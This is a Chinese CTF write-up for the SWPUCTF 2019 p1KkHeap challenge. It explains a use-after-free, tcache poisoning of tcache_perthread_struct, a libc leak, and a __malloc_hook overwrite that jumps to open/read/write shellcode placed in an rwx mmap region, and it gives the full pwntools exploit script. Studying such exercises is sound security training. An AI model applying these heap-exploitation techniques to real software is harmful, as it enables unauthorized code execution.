环境：ubuntu18

考点：UAF，沙箱逃逸

ubuntu18现在不能构造double free了！！！

所以我用patchelf来做

IDA逆一下

可以看到这里mmap了一块可rwx的空间

思路：UAF来泄漏tcache地址，然后tcache投毒到tcache_perthread_struct结构体，污染结构体的size链和pointer链，size全填满使得后来堆块可以逃逸结构体，然后后续可改pointer链可以分配到任意地址。

分配到结构体，free后泄漏libc的地址，因为程序加了沙箱，所以改mmap出的一块可写空间，写入orw的shellcode，然后打malloc hook，为shellcode的地址，然后当我们申请堆块的时候程序自动读flag

1 '''
2 author: lemon
3 time: 2020-10-12
4 libc:libc-2.27.so
5 version: python3
6 '''
7
8 from pwn import *
9
10 local = 0
11
12 binary = "./SWPUCTF_2019_p1KkHeap"
13
14 if local == 1:
15 p = process(binary)
16 else:
17 p = remote("node3.buuoj.cn",28465)
18
19 def dbg():
20 context.log_level = 'debug'
21
22 context.terminal = ['tmux','splitw','-h']
23 context(arch = 'amd64',os = 'linux')
24
25 def add(size):
26 p.sendlineafter('Your Choice: ','1')
27 p.sendlineafter('size: ',str(size))
28
29 def show(index):
30 p.sendlineafter('Your Choice: ','2')
31 p.sendlineafter('id: ',str(index))
32
33 def edit(index,content):
34 p.sendlineafter('Your Choice: ','3')
35 p.sendlineafter('id: ',str(index))
36 p.sendafter('content: ',content)
37
38 def free(index):
39 p.sendlineafter('Your Choice: ','4')
40 p.sendlineafter('id: ',str(index))
41
42 libc = ELF("./libc-2.27.so")
43
44 add(0x90) #chunk0
45 free(0)
46 free(0)
47
48 show(0)
49 leak_tcache = u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00')) - 0x250
50 print("leak_tcache:",hex(leak_tcache))
51
52 add(0x90) #chunk1
53 edit(1,p64(leak_tcache))
54 add(0x90) #chunk2
55 add(0x90) #chunk3
56
57 edit(3,b'a' * 0x40) # fill in tcache about size area
58
59 free(3)
60 show(3)
61 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
62 __malloc_hook = libc_base + libc.sym['__malloc_hook']
63 #one_gadget_list = [0x4f2c5,0x4f332,0x10a38c]
64 #one_gadget = libc_base + one_gadget_list[0]
65
66 mmap = 0x66660000
67 shellcode = shellcraft.open('flag')
68 shellcode += shellcraft.read(3,mmap + 0x200,0x30)
69 shellcode += shellcraft.write(1,mmap + 0x200,0x30)
70 shellcode = asm(shellcode)
71 print("!!!!!shellcode length:",len(shellcode))
72
73 add(0x90) #chunk4
74
75 edit(4,b'a' * 0x40 + p64(__malloc_hook) + b'a' * (0x10) + p64(mmap))
76 add(0x40) #chunk5
77 edit(5,shellcode)
78
79 add(0x10) #chunk6: __malloc_hook we use it to jump shellcode
80 edit(6,p64(mmap))
81
82 add(1)
83
84 #gdb.attach(p)
85 p.interactive()